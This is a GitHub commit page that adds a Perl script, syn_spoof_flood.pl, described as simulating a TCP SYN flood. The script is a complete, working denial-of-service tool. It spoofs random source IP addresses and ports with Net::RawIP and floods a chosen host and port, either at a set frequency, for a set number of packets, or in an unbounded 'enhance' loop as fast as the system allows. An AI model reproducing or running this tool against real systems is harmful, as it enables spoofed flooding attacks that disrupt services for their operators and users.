Skip to content

Commit f8a2ff2

Browse files
committed
[NEW] initial version of syn_spoof_flood.pl
1 parent 206655c commit f8a2ff2

File tree

2 files changed

+135
-0
lines changed

2 files changed

+135
-0
lines changed

perl/README.md

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
Perl Scripts Table
2+
===================
3+
4+
syn_spoof_flood.pl -- simulates TCP-SYN flood attack

perl/syn_spoof_flood.pl

+131
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
#!/usr/bin/perl
2+
# synSpoofFlood
3+
# Author: Lucas Allan
4+
#
5+
# Based on Simple SYN Flooder by iphelix
6+
# Requires libpcap, perl, Net::RawIP module, and root privileges
7+
#
8+
# SYNOPSIS:
9+
# ./syn_spoof_flood.pl [-f frequency] [-t total] [-r] host port
10+
#
11+
# Description:
12+
# The syn_spoof_flood.pl simulates the TCP **SYN** flood attack.
13+
# There are three methods to send SYN packets which generate random
14+
# source IP addresses and ports. The option **-f** assigns frequency
15+
# mode, which will send ${frequency} SYN packets every second; The
16+
# option -t assigns total mode, which will send ${total} SYN packets
17+
# in all; And the option -r assigns enhance mode, which will send
18+
# SYN packets as fast as your system can.
19+
#
20+
# -r: enhance mode, send packets as fast as system can.
21+
# -f frequency: frequency is in range [1, 1000000].
22+
# -t total: send total packets in all.
23+
#
24+
# Updates:
25+
# 2013-08-20 Added two mode: by frequency and by total
26+
# Modified by lancerexw([email protected])
27+
28+
use Net::RawIP;
29+
30+
# added by lancerexw
31+
use Time::HiRes qw(usleep nanosleep);
32+
33+
$dst = "";
34+
$port = 0;
35+
$freq = 0;
36+
$total = 0;
37+
$enhance = 0; # enhance mode
38+
39+
sub usage() {
40+
print "
41+
./syn_spoof_flood.pl [-f frequency] [-t total] [-r] host port
42+
-f: frequency
43+
-t: total
44+
-r: enhance\n";
45+
}
46+
47+
sub process_args() {
48+
while ( @ARGV ) {
49+
my $a = shift @ARGV;
50+
if ( $a =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ ) {
51+
$dst = $a;
52+
print "host=$dst\n";
53+
next;
54+
}
55+
56+
if ( $a =~ m/\d{1,5}/ ) {
57+
$port = $a;
58+
print "port=$port\n";
59+
next;
60+
}
61+
62+
if ( $a eq "-r" ) {
63+
$enhance = 1;
64+
print "enter enhance mode\n";
65+
} elsif ( $a eq "-f" ) {
66+
$freq = shift @ARGV;
67+
print "frequency=$freq\n";
68+
if ( $freq > 1000000 ) {
69+
print "frequency must less than 1000000\n";
70+
}
71+
} elsif ( $a eq "-t" ) {
72+
$total = shift @ARGV;
73+
print "total=$total\n";
74+
} else {
75+
usage();
76+
}
77+
}
78+
}
79+
80+
sub geraIP() {
81+
$range = 255;
82+
$iA = int(rand($range));
83+
$iB = int(rand($range));
84+
$iC = int(rand($range));
85+
$iD = int(rand($range));
86+
87+
return $iA . "." . $iB . "." . $iC . "." . $iD;
88+
}
89+
90+
sub send_syn_packet {
91+
$handle = $_[0];
92+
93+
$src_port = int(rand(65534))+1;
94+
$src = geraIP();
95+
print "src=$src:$src_port\ndst=$dst:$port\n";
96+
$handle->set({ ip => { saddr => $src, daddr => $dst }, tcp => { source => $src_port, dest => $port, syn => 1 } });
97+
$handle->send;
98+
}
99+
100+
sub attack() {
101+
process_args();
102+
if ( $dst == "" || $port == "" ) {
103+
usage();
104+
return;
105+
}
106+
107+
$h = new Net::RawIP;
108+
@param = ($h, "");
109+
110+
if ( $enhance == 1 ) {
111+
print "send SYN packets in infinite loop\n";
112+
while ( 1 ) {
113+
send_syn_packet @param;
114+
}
115+
} elsif ( $freq != 0 ) {
116+
$intvl = 1000000 / $freq;
117+
print "send SYN packets by frequency $freq\n";
118+
while ( 1 ) {
119+
send_syn_packet @param;
120+
usleep($intvl);
121+
}
122+
} elsif ( $total != 0 ) {
123+
for ( $i = 0; $i < $total; $i += 1 ) {
124+
send_syn_packet @param;
125+
}
126+
} else {
127+
print "unknown mode\n";
128+
}
129+
}
130+
131+
attack();

0 commit comments

Comments
 (0)